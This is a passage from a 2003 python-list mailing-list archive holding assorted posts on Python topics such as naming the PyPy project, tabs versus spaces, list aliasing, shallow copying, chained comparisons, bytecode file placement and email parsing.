Maybe, but it depends on what "this" is <wink>.

> thx

-- 
Cliff Wells <clifford.wells at attbi.com>





From nas-usenet at arctrix.com  Sun Jan 12 23:20:27 2003
From: nas-usenet at arctrix.com (Neil Schemenauer)
Date: Mon, 13 Jan 2003 04:20:27 GMT
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org>
Message-ID: <f8rU9.1374$ob.536@nwrddc03.gnilink.net>

Christian Tismer <tismer at tismer.com> wrote:
> Anyone having some good suggestions?

Doesn't anyone know of snakes that are smaller and faster than
pythons?  I think "mamba" a pretty cool name (as in black mamba).

 http://animal.discovery.com/fansites/wildkingdom/blackmamba/strike/strike.html

"It is known as the fastest, longest, most aggressive and
deadliest of all venomous snakes."

  Neil



From johnroth at ameritech.net  Wed Jan 29 15:48:35 2003
From: johnroth at ameritech.net (John Roth)
Date: Wed, 29 Jan 2003 15:48:35 -0500
Subject: Tab characters considered harmful (Was: Emacs has eaten my python tabs!!!)
References: <mailman.1043861157.12712.python-list@python.org>
Message-ID: <v3gfedm4i5c56a@news.supernews.com>

"Mark McEahern" <marklists at mceahern.com> wrote in message
news:mailman.1043861157.12712.python-list at python.org...
> [Robin Munn]
> > You know, the more I see the debate about spaces and tabs, the more
> > puzzled I become that anyone still wants to use tabs.
>
> I agree.  I prefer spaces too.  But what those who prefer tabs would
say, I
> think, is that they prefer tabs because if everyone used tabs, we
wouldn't
> have this problem.  ;-)

They might say it, but it wouldn't be true. The primary benefit of
tabs is that they take up less space in the source file. The primary
problem with tabs is that tools treat them inconsistently. The 8 versus
4 space indentation problem is all over the place (many tools assume
a tab every 8 columns, and either you can't change it, or it's simply
another hassle in setting up a pleasant work environment.) Even
worse, there are two frequently used tools that simply ignore tabs,
thus totally obfuscating the indentation: Microsoft's Outlook Express,
and Yahoo Groups.

Suggestons that one not use OE will be rejected for the
arrogance that they are. Suggesting that one not use Yahoo
Groups shows that one is not in contact with the real world.

John Roth






From sasDOTepsylon at wanadoo.fr  Mon Jan 13 07:31:46 2003
From: sasDOTepsylon at wanadoo.fr (EpSyLOn)
Date: Mon, 13 Jan 2003 13:31:46 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org>
Message-ID: <mrb52vk55cq5p2b349h8qdr17go527djk5@4ax.com>

On Mon, 13 Jan 2003 04:17:21 +0100, Christian Tismer
<tismer at tismer.com> wrote:

>Bengt Richter wrote:
>> At 03:39 2003-01-13 +0100, Christian Tismer wrote:
>> [...]
>> 
>>>At the same time, as much as possible should become
>>>pluggable. It will be possible to have MiniPy
>> 
>> [...]
>> 
>> Is "MiniPy" the official name ?
>
>No.
>There is no official name, yet.
[...]
>Anyone having some good suggestions?

I suggest TiPy/TiPython, just like "Tiny Python". And it sounds good :
Mon TiPython ;-).
-- 
  .-.  EpSyLOn      sas<dot>epsylon<at>wanadoo<dot>fr
  oo|  faq fclc:    http://www.isty-info.uvsq.fr/~rumeau/fclc
 /`'\  Usenet  :    http://www.usenet-fr.net
(\_;/) "Quand le sage montre la lune, l'imb?cile regarde le doigt"



From thephoenix235 at gmx.net  Thu Jan 30 01:37:04 2003
From: thephoenix235 at gmx.net (Chirayu Krishnappa)
Date: Wed, 29 Jan 2003 22:37:04 -0800
Subject: [ [ [] * y for y in range(3) ] * x for x in range(2) ]
References: <2463d77d.0301292034.1fdc47bd@posting.google.com> <eppstein-96744E.22015129012003@news.service.uci.edu>
Message-ID: <2vhh3v4ue9tsn5lgk6lpl7cd92i2s8fgh9@4ax.com>

This is whats wrong.

>>> L=[[[]]*3]*2
>>> L
[[[], [], []], [[], [], []]]
>>> L[0][0]=1
>>> L
[[1, [], []], [1, [], []]]

Chirayu.

On Wed, 29 Jan 2003 22:01:51 -0800, David Eppstein
<eppstein at ics.uci.edu> wrote:

>In article <2463d77d.0301292034.1fdc47bd at posting.google.com>,
> marcel_achim at videotron.ca (Marcel) wrote:
>
>> I'm trying to allocate nested lists up-front using the subject line,
>> instead of generating :
>> [ [ [], [], [] ], [ [], [], [] ] ]
>> I end up with  :
>> [ [], [ [], [], [] ] ]
>
>What's wrong with [[[]]*3]*2  ?




From max at alcyone.com  Sun Jan 12 18:40:47 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 12 Jan 2003 15:40:47 -0800
Subject: Elegant copy-by-value
References: <87n0m7urz4.fsf@gvdnet.dk> <3E20CA0F.E2C07F4E@engcorp.com>
	 <87k7hbul7w.fsf@gvdnet.dk> <3E20DFE7.FD196BD3@engcorp.com> <87d6n2h5mn.fsf@gvdnet.dk>
Message-ID: <3E21FCFF.48AC6124@alcyone.com>

Martin Christensen wrote:

> I wasn't thinking of simplicity implementation-wise. It just seems
> very awkward to me that it should be necessary to import a module just
> to be able to copy the value of even a primitive. For more complicated
> structures it's more understandable, but copying those by value is
> apparently easier. Go figure!

You don't.  You can create a (shallow) copy of a list with L[:], and one
of a dict with D.copy().  Numerics, strings, and tuples don't need copy
routines since they're immutable.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ A good indignation brings out all one's powers.
\__/ Ralph Waldo Emerson
    Lsystem / http://www.alcyone.com/pyos/lsystem/
 A Lindenmayer systems explorer in Python.



From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Tue Jan 28 15:42:48 2003
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Tue, 28 Jan 2003 21:42:48 +0100
Subject: patching of python: tabs make me seek of python
In-Reply-To: <f210c9f3.0301281143.22c01152@posting.google.com>
References: <f210c9f3.0301281143.22c01152@posting.google.com>
Message-ID: <3e36e9ce$0$49114$e4fe514c@news.xs4all.nl>

Andrei Smirnov wrote:
> please, don't try to convince me that tabs are good: i'm too lazy to even think
> about it. 

If you really are too lazy, then don't. Just accept.

Irmen




From clifford.wells at attbi.com  Tue Jan  7 23:39:49 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 07 Jan 2003 20:39:49 -0800
Subject: Is it really good?
In-Reply-To: <LNBBLJKPBEHFEDALKOLCGEBLDHAB.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCGEBLDHAB.tim.one@comcast.net>
Message-ID: <1042000789.3565.182.camel@x1-6-00-04-5a-64-c4-03>

On Tue, 2003-01-07 at 17:19, Tim Peters wrote:
> [Skip Montanaro]
> >>     >>> 2 == 3 is good
> >> ...
> >> Chained operations.  The above expression is effectively
> >>
> >>     (2 == 3) and (3 is good)
> >
> 
> [Cliff Wells]
> > This confuses me.  What is the order of operation for '==' and 'is'?
> 
> Life will be simpler if you just believe Skip <wink>.  Just as
> 
>     1 <= i <= 10
> 
> *means*
> 
>     (1 <= i) and (i <= 10)
> 
> in Python, same thing if you substitute any other comparison operators for
> "<=".  "==" and "is" are two other comparison operators.

Ah, that clears it up.  I was having a blind spot.  It's still pretty
non-obvious though.


> > ...
> > How can (2 == 3) and (3 is good) be a possible equivalence?
> 
> The compiler goes out of its way to make it so, as it does for all chained
> comparisons.  See your friendly Language Reference Manual for details
> (although there's not more to it than what's already been said).

I don't think I've ever used chained comparisons aside from the
traditional a < b <= c type thing, so I guess I hadn't formed that small
part of the brain that generalizes them <wink>.

-- 
Cliff Wells <clifford.wells at attbi.com>





From python at dylanreinhardt.com  Sat Jan 18 20:23:45 2003
From: python at dylanreinhardt.com (Dylan Reinhardt)
Date: Sat, 18 Jan 2003 17:23:45 -0800
Subject: __parent__ - like attribute?
In-Reply-To: <just-7E53B7.22115906012003@news1.news.xs4all.nl>
References: <av7cuu$cu2$1@slb0.atl.mindspring.net>
 <YhlS9.24314$NB4.6001@FE05>
Message-ID: <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com>

Seems like this should be easy, but I'm having a tough time figuring out 
how to change an attribute in a parent object *as a side effect* of a 
method called on a subobject.

An quick example:

-------------------------

class spam:
     __init__(self):
         self.stuff = eggs()
         self.changed = 0

class eggs:
     def do_stuff(self):
         # after we've done the main part of our work,
         # signal parent object that information has changed
         self.__some_namespace_voodoo__.changed = 1
         return something_unrelated

a = spam()
b = spam()
x = a.stuff.do_stuff()   #  <--- should set value of a.changed to 1
x = b.stuff.do_stuff()   #  <--- should set value of b.changed to 1

-------------------------

If this looks like manipulation of the _p_changed attribute in ZODB, it's 
not a coincidence... that's what I'm hoping to use this for.  I realize I 
could pull a reference to a from globals() assuming I know the parent class 
is called "a" or "b", but I'm hoping there's a way to go about this without 
storing the parent name in every sub-object.

Any pointers and/or nudges in the right direction will be greatly appreciated.

Thanks,

Dylan





From no_replies at fake_email_address.invalid  Fri Jan 31 01:14:33 2003
From: no_replies at fake_email_address.invalid (Robert Oschler)
Date: Fri, 31 Jan 2003 06:14:33 GMT
Subject: ActiveX Spy utility?
Message-ID: <dvo_9.3024$0L3.2150473@news2.news.adelphia.net>

Has anybody seen a utility that will let you see the calls being made by an
ActiveX control client?  For an ActiveX control client where you don't have
the source for the client.  Something for ActiveX calls that would be like
the MSVC studio Spy++ utility does for Windows API calls.

thx






From lac at strakt.com  Fri Jan 31 23:42:48 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 01 Feb 2003 05:42:48 +0100
Subject: Syntax checking python... 
In-Reply-To: Message from Afanasiy <abelikov72@hotmail.com> 
   of "Fri, 31 Jan 2003 22:05:48 GMT." <jpsl3vcbb4tlv97l7bi2319238hkl3rdol@4ax.com> 
References: <jpsl3vcbb4tlv97l7bi2319238hkl3rdol@4ax.com> 
Message-ID: <200302010442.h114gmjL008893@ratthing-b246.strakt.com>

> 
> In other languages, I can receive syntax errors without the script having
> to execute. Please do not let this hurt your feelings. I merely bring up
> the other languages as an example of what I mean and what I am used to.
> 
> In Python, I will not receive a syntax error until the interpreter runs
> right into it. This is not very efficient for me during my development.
> 
> Is there a way I can be notified of my typos without having to run the
> interpreter up to those mistakes? That is my question. No smartasses.
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Does PyChecker http://pychecker.sourceforge.net/ accomplish the same
goals as you want?  

Laura Creighton






From gbrunet at nospamsempersoft.com  Tue Jan  7 23:46:42 2003
From: gbrunet at nospamsempersoft.com (Greg Brunet)
Date: Tue, 7 Jan 2003 22:46:42 -0600
Subject: Python vs .Net
References: <mailman.1041878711.16028.python-list@python.org>
Message-ID: <v1nb9ofbeg0g12@corp.supernews.com>

"Bjorn Pettersen" <BPettersen at NAREX.com> wrote in message
news:mailman.1041878711.16028.python-list at python.org...

I think you're missing the point of dynamic typing. In a dynamically
typed language I can write a function, add, like:

  def add(a,b):
      return a + b

the result is to create a function that can operate on _any_ type of
objects that support the '+' operator. There is usually a strong urge
from programmers coming from statically typed languages to want to add
type information to this function or add run-time checks to ensure
they're only passed the right kind of data. In a dynamically typed
language this is at best counter productive and at worst simply wrong.

<snip... more good stuff>
========================

Hi Bjorn:

I'm not always so good with the proper terminology, but it seems that
what your talking about here (and what most folks also seem to be
touting as the flexibility & advantage of dynamic typing) is
overloading.  While I agree that overloading is a good thing, I'm not
sure what this example really shows.  After all, the "+" operator is
already overloaded, so all you're really doing here is providing a
synonym for it.  Add does no more or less than what "+" already does.

Now regardless if we're talking about "+" or Add, I think that we can
both agree on what to expect if both a & b are Integers or Strings.
What if one is an integer & one is a string, however.  What if the
string has a numeric value?  What if we have an Integer and a Float?

Older versions of VB suffered from what folks called "Evil Type
Coercion".  It tried to do the 'right' thing, so that 5+"5" returned 10
and 5 & "5" returned 55 (while 5+5=10 and "5"+"5"=55 as expected).  This
was obviously a bad thing because it was inconsistent - better to be
consistent.  OTOH, I see a bit of this even in Python with the change in
the division operator behavior (PEP 238) - should 5/2 return an integer
or a float?

It seems that someplace, somewhere, the language needs to decide what
Add(a,b) [or a+b] is going to do for all variations of types.  If I have
a line with result = someString + someInteger, then with a statically
typed language, I'll (optionally) know about it at compile time as well
as at runtime (if I turn off the compile checking), but you won't know
about it till runtime.

I've admitted to working on thinking Pythonically - I know I'm not there
yet.  Your comment about writing Fortran in any language was apropos.
Even though I did manage to stop writing Fortran when I had to write
RPG,  I'm probably a little slow in adapting to a new language, since I
tend to still think in terms of what I'm already familiar with.

--
Greg





From bdesth at nospam.free.fr  Mon Jan  6 22:31:13 2003
From: bdesth at nospam.free.fr (laotseu)
Date: Mon, 06 Jan 2003 22:31:13 -0500
Subject: HELP! Must choose language!
References: <20021229230751.24148.00000389@mb-bj.aol.com> <auok7i$8tl6u$1@ID-99293.news.dfncis.de>
Message-ID: <3E1A4A01.6020604@nospam.free.fr>

William Park wrote:
> Chewdip20 <chewdip20 at aol.com> wrote:
>

(snip)

>  I get back to school the week after next, and I
>>want to have some intermediate knowledge of a language by then. I get
>>little time to do anything I want after school, and thus my chances to
>>further my knowledge of a language would be severly limited to
>>weekends, which are also packed for me. Basically, everyone, I need a
>>language, I need it fast.  Also, I have heard C and C++ are rough to
>>start with. Any truth to this?
> 
> 
> C++ takes years.  But, you can pick up C or Python in one week, and be
> comfortable in one month.

Be conmfortable with C in one month ? Only learning it on spare time ? 
Seems a bit short to me !...

Laotseu




From ianb at colorstudy.com  Tue Jan 28 11:13:52 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 28 Jan 2003 10:13:52 -0600
Subject: PEP 304 - Controlling generation of bytecode files
In-Reply-To: <SCwZ9.917$CO5.116402193@newssvr14.news.prodigy.com>
References: <mailman.1043707550.22103.python-list@python.org>
	 <SCwZ9.917$CO5.116402193@newssvr14.news.prodigy.com>
Message-ID: <1043770432.29616.187.camel@lothlorien>

On Tue, 2003-01-28 at 08:39, Dennis Reinhardt wrote:
> This PEP does not address explicitly how the user can change the env.
> variable during startup. Suppose I code in my main module:
> 
>     sys.pythonbytecodebase = ""
>     import file01
>     import file02
>     sys.pythonbytecodebase = "outdir/subdir"
>     import file03
>     ....  #etc.
> 
> does this give file by file control?

I would assume this would change the process globally, but since modules
are guaranteed to be imported once it could work.  But it would be
unreliable, because if file01 imported file03 that would change the
behavior.  That is, it would give per-process control.  But that's
probably not what you'd want, as all the standard library would fall
under your new pythoncodebase.

I don't remember if it said what the behavior should be if
pythoncodebase is set, but I also wouldn't want it to miss .pyc files
for the standard library if pythoncodebase was set but the standard
library was precompiled for pythoncodebase==''.

If you really wanted per-file control it should probably be done with

__pythoncodebase__ = '...'

But I'm not sure what the advantage of that would be.

> What I would really want is directory by directory control.  I am importing
> from the following example structure
> 
>     dirA
>       +--dirB
> 
> I would like a clean way to treat pyc files in dirA one way and dirB another
> without chasing down every import.  For example:
> 
>     sys.pyc_dir = {"dirA":"", dirB:"output/dir/path", ".":"some/other/path"}

That would handle the fact that many standard library modules should be
left alone (or dealt with globally, i.e., the module is compiled on
installation), but it's your own modules that you want to control.

-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From newt_e at blueyonder.co.uk  Mon Jan 27 17:49:22 2003
From: newt_e at blueyonder.co.uk (Newt)
Date: Mon, 27 Jan 2003 22:49:22 GMT
Subject: .pyc files
Message-ID: <SHiZ9.2867$zI3.18023571@news-text.cableinet.net>

Silly question:

>From a command line, how do I create pyc files? I know I can do it from
within IDLE, but I want to use a different editor (for other languages).

TIA

Newt





From zopestoller at thomas-guettler.de  Tue Jan 28 04:20:12 2003
From: zopestoller at thomas-guettler.de (Thomas Guettler)
Date: Tue, 28 Jan 2003 10:20:12 +0100
Subject: ZODB: Updating all instances of a class
Message-ID: <b15hpm$qef$04$1@news.t-online.com>

Hi!

I use ZODB of Zope. I changed a python baseclass:
A string became a list of strings. Now I want to update all
existing instances. There are several classes which inherit
from this baseclass.

How can I get all instances of this class? I think there
is a special method, but I don't remember its name.


  thomas




From imbosol at vt.edu  Sat Jan 25 17:25:25 2003
From: imbosol at vt.edu (Carl Banks)
Date: Sat, 25 Jan 2003 22:25:25 GMT
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <3E31568E.FD9C92B5@engcorp.com> <b0s6fq$95s5@eccws12.dearborn.ford.com>
Message-ID: <p9EY9.499$qb1.122@nwrddc01.gnilink.net>

Michael Tiller wrote:
> My thanks go out to those people who mentioned the "holder" idiom (rather
> than just throwing up their arms in ideological disgust at the idea of
> somebody even suggesting such a construct)

Honestly, what do you expect, considering your original post?  When
you call the following code snippet "overly verbose":

   match = re.match(...)
   if match:
       ...

people are going to get ideological on you; rightly so.  You never
said why you wanted the assignment expression, and it turns out your
intended use was the only quasi-acceptable use for it.

If you had said "Python is incomplete because you can't do this
set-and-test idiom" instead of "Python is incomplete because it
doesn't allow assignment inside if," you would have gotten less
ideology.


> since the "holder" idiom was
> exactly what I needed because it allows me to use if..elif..else without the
> easy to misunderstand syntax of C and C++.

People often say Python is defective or incomplete for not allowing
assignment inside if-conditions, because you can't do this silly
idiom.  Yet it never seems to occur to anyone that there are other
ways to accomplish this besides assignment-if.

I'm happy the holder idiom works for you.  I prefer to do it this way,
although I rarely do it:


    for i in [1]:
        m = re.match(...)
        if m:
            ...
            break

        m = re.match(...)
        if m:
            ...
            break


-- 
CARL BANKS



From mcfletch at rogers.com  Tue Jan 21 07:42:01 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Tue, 21 Jan 2003 07:42:01 -0500
Subject: How to get the types of the parents of an object ?
In-Reply-To: <3E2D3C3C.8010800@novagrid.com>
References: <3E2D3C3C.8010800@novagrid.com>
Message-ID: <3E2D4019.6010107@rogers.com>

Finding object/class inheritence is common enough to have two builtin 
functions assigned to the task:

    isinstance( my_object, my_super_class )

    issubclass( my_class, my_super_class )

and, under Python 2.2, you can do silly things like:

    my_super_class in my_class.__mro__

Though that last one is almost certainly _not_ a good idea :) .  I'm 
just providing it to give you pointers as to things to search for in the 
docs if you really do want to get all super-classes (parents) of a 
class.  You could also search for __bases__ for the older Python 
versions (still available in 2.2, just not as convenient as __mro__).

Enjoy,
Mike

christophe grimault wrote:

> Hi,
>
> I need to control the type of some arguments passed to a constructor. 
> Specifically,
> my classes inherit of 'object', so
>
> type(my_object)
>
> returns
>
> my_class
>
> Now my_class is a child of my_super_class. And I want to check if
> my_object is an instance of my_super_class.
>
> How can I do that
>
> Thanks in advance,
>
> Chris
>

-- 
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From tdelaney at avaya.com  Thu Jan 30 22:53:12 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Fri, 31 Jan 2003 14:53:12 +1100
Subject: Help a C++ coder see the light
Message-ID: <B43D149A9AB2D411971300B0D03D7E8B02ADC4BF@natasha.auslabs.avaya.com>

> From: Lulu of the Lotus-Eaters [mailto:mertz at gnosis.cx]
> 
> I would go even further than Holger.  I think it a pretty 
> firm rule that
> the more experienced and talented a programmer is, the LESS 
> likely s/he
> is to claim her code is bug free.
> 
> Probably-this-very-post-has-bugs-ly yours, Lulu...

Ah - the old "indirect boasting technique". Very nicely applied, but I
spotted it!

Tim Delaney




From grante at visi.com  Thu Jan  9 15:59:35 2003
From: grante at visi.com (Grant Edwards)
Date: 09 Jan 2003 20:59:35 GMT
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <3e1b2565$0$213$a1866201@newsreader.visi.com> <52719db8.0301071948.71364a03@posting.google.com> <mailman.1042039696.8976.python-list@python.org> <52719db8.0301082259.535824a4@posting.google.com>
Message-ID: <3e1de2b7$0$25512$a1866201@newsreader.visi.com>

In article <52719db8.0301082259.535824a4 at posting.google.com>, James Huang wrote:

> Allow me to give my non-scientific definition of scripting language:
> 
> Scripting (in programming sense)
>================================
> is to do things easily, intuitively, obviously, and accurately, so
> much so that when another person (with the same domain knowledge) sees
> a chunk of code, he immediately understands it without even a hint of
> reasoning (ideally).

I don't think that's a common definition of "scripting". I'd
say that what you stated above is (or should be) a goal for any
programming language of any type.

I would define scripting as writing a program to automate a
repetative task that might normally done manually (via a series
of GUI point and click operations or a series of manually
entered shell commands).

-- 
Grant Edwards                   grante             Yow!  .. I want to perform
                                  at               cranial activities with
                               visi.com            Tuesday Weld!!



From cben at techunix.technion.ac.il  Thu Jan  9 19:31:44 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Fri, 10 Jan 2003 02:31:44 +0200
Subject: Python vs Java garbage collection?
In-Reply-To: <mailman.1041985897.28813.python-list@python.org>
References: <kpofua.5g2.ln@anto.cuni.lan> <RI7P9.82239$pe.2817565@news2.east.cox.net>
 <7iu1gyd3x2.fsf@enark.csis.hku.hk> <PZPP9.92273$pe.3378886@news2.east.cox.net>
 <7i4r8wccej.fsf@enark.csis.hku.hk> <mailman.1041254965.29220.python-list@python.org>
 <Pine.GSO.4.44_heb2.09.0301062050360.27086-100000@techunix.technion.ac.il>
 <mailman.1041985897.28813.python-list@python.org>
Message-ID: <Pine.GSO.4.44_heb2.09.0301081936230.14786-100000@techunix.technion.ac.il>

On 2003-01-08, holger krekel wrote:

> Beni Cherniavsky wrote:
> > Hey!A sort of macros!  Tasty :-)  When could I lay my hands on it :-?
>
> It's actually working since today! It's a patch to Python-2.2.2 at
> parser, compiler, bytecode and VM-level. But it's seemlessly compatible
> because it doesn't change syntax or semantics of any (existing) python
> program.
>
> It's still called 'Indented Execution' and allows (among other usages)
> to nicely do "timely finalization" independent of memory management details.
> If you want to have a preliminary look, go here:
>
>   http://codespeak.net/moin/moin.cgi/IndentedExecution
>
Nice.  This exaplains much.  Grabbed a copy and will play with it...
[BTW, test_iexec.py includes two classes with same name
IEXEC_WithKeywords, you'll probably want to fix it]

I certainly like the power of this thingie.  However there are points in
the interace design which I don't like.  The basic point of my objections
is that you are trying to lump together two main very different uses:

1. One thing that you want to do is to execute code with pre/post/except
   handling.  For this use, the "attributes" design is problematic.  Most
   importantly, my instincts tell me that the execution handler should be
   aware of the names you choose for your variables (e.g. in the file
   example).  There is also the danger of accidentally clashing with an
   attribute of the execution handler.  See discussion below.

   - The fact the inner code is not executed when the execution handler is
     None looks like an attempt to also abstract if statements, not only
     try.  (If it's a sequence, it should be executed multiple times,
     shouldn't it? <wink>)  This looks too specialized (must be decided
     beforehand) -- I would instead say that if the execution handler has
     a e.g. __cond__ method, it's called and the block is executed only if
     it returned a true result.  This is not very elegant either, so I
     still think the code object approach would be easiest to use.

   - The copying from local namespace into the object is reminiscent of
     the class statement and is quite elegant.  So I'm not sure it's bad.

2. The other thing is allowing data expressions with significant
   indentation and an xml-like syntax.  Here it does make sense to let the
   execution handler know the names of the bindings.  However it doesn't
   make much sense to expose them in the local namespace -- why would I
   care that ul="square" when I compose a list item inside it?

   - This can be solved by using keyword arguments when creating the
     execution handler instead of using IEXEC's "attribute" syntax.  The
     loss of xml syntax where it's most appropriate is a drawback...

   - The most problematic thing here the __icontent__.  The idea is nice -
     to make a list of the values written as expressions on separate
     lines.  A similar idea is the bassic of the Python Template Language
     in http://www.mems-exchange.org/software/quixote/.  There they
     automatically suppress None values; maybe you should adopt this.
     Another difference is that in PLT the special meaning for lone
     expression is for the whole function, whereas in IEXEC it doesn't
     effect the substatements.  This is good since it allows to express
     nested structure.

     - The fact that expressions are saved is contrary to one's habits of
       reading Python code; this will only be important in some execution
       handlers but the reader can't be sure.  This is another reason to
       separate the two uses.  I'm not sure how to do it nicely, though.

     - Storing __icontent__ in the caller's namespace is ugly.  Putting
       it on the execution handler is problematic too because the values
       would be ratained, which might not be what one wants.  Another idea
       is passing the list of unassigned values to a new method of the
       execution handler, so this saving becomes optional.

     - Reading xml.py solved my wander how can the <html> statement return
       any data -- it can't it stores it for later use.  On one hand, this
       is pythonic.  On the other, it makes the code awkward.  The most
       troublesome part is that the sub-tags, being implemented as IEXEC
       statements, are not part of the __icontent__.  Worst of all, they
       are executed before the anassigned expressions are processed.  This
       makes getting something like xml.py right very hard.

       - I think the best solution is to drop the construction of the
         __icontent__ list and make each unassigned expression call a
         method of the execution handlerd (e.g. __takeval__) with the
         expression's value, immediately after it was computed.  The
         benefit is that order is preserved with respect to statements in
         the indented block.  Another benefit is the ability to call the
         method manually from inside conditionals/loops - it would be
         hard to generate e.g. a variable length table in the __icontent__
         approach.  This prompts for a non __underscoped__ method name,
         `append` is natural.

> The problem is with END_FINALLY (the finalizing bytecode for the
> TRY/FINALLY construct).It's not that easy to call the
> leave-method in the face of an exceptional state. Because you
> don't know much about the stack and thus can't easily get to
> any handler object (which needs to be on the stack).
>
I'll trust you know what you are doing better than I do :-)

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>













From chrisk at nipltd.com  Tue Jan 14 13:03:46 2003
From: chrisk at nipltd.com (Chris Keyes)
Date: Tue, 14 Jan 2003 18:03:46 +0000
Subject: Email package and mailbox module
Message-ID: <3E245102.8040106@nipltd.com>

Hi All

I'm a bit new here so if I've missed any relevant posts please point me 
to them :-)

I'm currently trying to extract email messages from a mailbox file 
(mailbox module does this fine as long as running on unix).

I want both the body and the headers (basically to index the contents of 
the message). The RFC822 module will give me the headers and (I think) a 
file type object which is the body (or is it a string)?  msg.fp.read()

But from what I can see the Email module would me a much much better way 
of getting at the contents of the message. I'm just not really sure how 
it works and how to mesh to two together.

Does anyone know of any good examples I may be able to have a good peer 
at? The factory type object thing kinda confused me. I've really only 
done scripting in python rather than 'propper' coding, so any help here 
would be much appreciated.

I should also add that I no longer work for NIP but they have kindly 
provided me with a spam protected inbox while I'm finishing my degree. 
This project is the start of my final year project (a mailing list archive).

Many thanks for your help on this one, you never know I may get back 
into this stuff enough to be able to answer the odd question on here one 
day ;-)

Cheers

ChrisK




From BgPorter at NOartlogicSPAM.com  Thu Jan 30 11:20:08 2003
From: BgPorter at NOartlogicSPAM.com (Brett g Porter)
Date: Thu, 30 Jan 2003 11:20:08 -0500
Subject: spambayes rocks
References: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com> <87fzre2xth.fsf@zamazal.org> <R8wZ9.31972$Vh.21432@news2.central.cox.net> <87n0lkju8o.fsf@zamazal.org> <mailman.1043865576.2481.python-list@python.org> <b19adh$33a0$1@nntp6.u.washington.edu> <mailman.1043872350.29360.python-list@python.org> <slrn.pl.b3gfvm.go.jzgoda@kotek.home>
Message-ID: <6VCdnQ7z-uD5zaSjXTWcqw@comcast.com>

"Jarek Zgoda" <jzgoda at usun.gazeta.pl> wrote in message
news:slrn.pl.b3gfvm.go.jzgoda at kotek.home...
> Skip Montanaro <skip at pobox.com> pisze:
>
> >    Donn> Or maybe he literally meant efficient.  The efficient place to
> >    Donn> stop the flow is not at the destination.
> >
> > For that to happen, you will need the cooperation of the involved
foreign
> > ISPs, largely in Asia and Brazil, I think.
>
> That's why I use DNS-based blacklists. See http://korea.services.net to
> get an idea on how it works.

Of course, DNS-based blacklists shoot an elephant gun at the problem, and
it's just too bad if you happen to innocently be using an ISP who gets
flagged as a source of spam. Every few months this happens to us, and after
we see messages being bounced, we call the ISP, and they boot the spammer,
and eventually the domain gets removed from the blacklist, but by that time
we've lost a few days of business email.

Blocking all mail (even legitimate) from South Korea  solves one problem,
but creates another -- if my ISP happens to subscribe to this blacklist
service, there's absolutely no way for me to receive email from my family
living there.





From knightsofspamalot-factotum at gvdnet.dk  Sun Jan 12 08:19:58 2003
From: knightsofspamalot-factotum at gvdnet.dk (Martin Christensen)
Date: Sun, 12 Jan 2003 14:19:58 +0100
Subject: Elegant copy-by-value
References: <87n0m7urz4.fsf@gvdnet.dk> <YC5U9.6651$%V.6206@nwrddc02.gnilink.net>
Message-ID: <87adi6h5dt.fsf@gvdnet.dk>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>>>>> "Carl" == Carl Banks <imbosol at vt.edu> writes:
Carl> For the types where it is most useful to do copy-by-value, there
Carl> are built-in ways to do shallow copies.  For example, lists (and
Carl> Numeric arrays) can do this:
Carl>     a = b[:]

Yup, that's one of the ones you pick up rather quickly. :-)

Numeric arrays? What did I miss?

Carl> Dicts have a copy method:
Carl>     a = b.copy()

Ah, I never noticed that one. Thanks, that'll come in handy some day,
I'm sure.

Carl> Class instances don't have such a method by default, seeing that
Carl> they can have more complicated state that might not work with a
Carl> simple copy.  However, it's easy to define a class that does, if
Carl> you need it.  For example, extending the Bunch class from Python
Carl> Cookbook: [...]

Nice example. For some things that might be the way to go.

Martin

- -- 
Homepage:       http://www.cs.auc.dk/~factotum/
GPG public key: http://www.cs.auc.dk/~factotum/gpgkey.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Using Mailcrypt+GnuPG <http://www.gnupg.org>

